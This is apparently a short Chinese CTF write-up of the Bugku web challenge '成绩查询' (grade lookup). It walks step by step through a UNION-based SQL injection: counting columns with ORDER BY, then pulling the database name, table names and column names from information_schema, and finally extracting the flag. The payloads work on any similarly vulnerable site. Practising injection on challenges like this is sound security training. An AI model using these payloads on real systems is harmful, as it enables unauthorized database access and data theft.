bugku-writeup-web-成绩查询

Posted 2021-07-15 dark2019

“ bugku-web成绩查询解题思路记录。”

题目：成绩查询

解析参考链接：

https://blog.csdn.net/qq_44813849/article/details/104974387

注入命令如下：

id=1' order by 4#

输出龙龙的成绩单

id=1' order by 5#

不输出，确定为4列

id=-1' union select 1,2,3,4#

联合输出

id=-1' union select 1,2,3,database()#

输出数据库名为skctf

id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

输出表名fl4g,sc

id=-1' union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name=0x666c3467# 

输出字段skctf_flag

id=-1' union select 1,2,3,skctf_flag from fl4g# 

 输出flag。

PS:一定要注意中英文符号。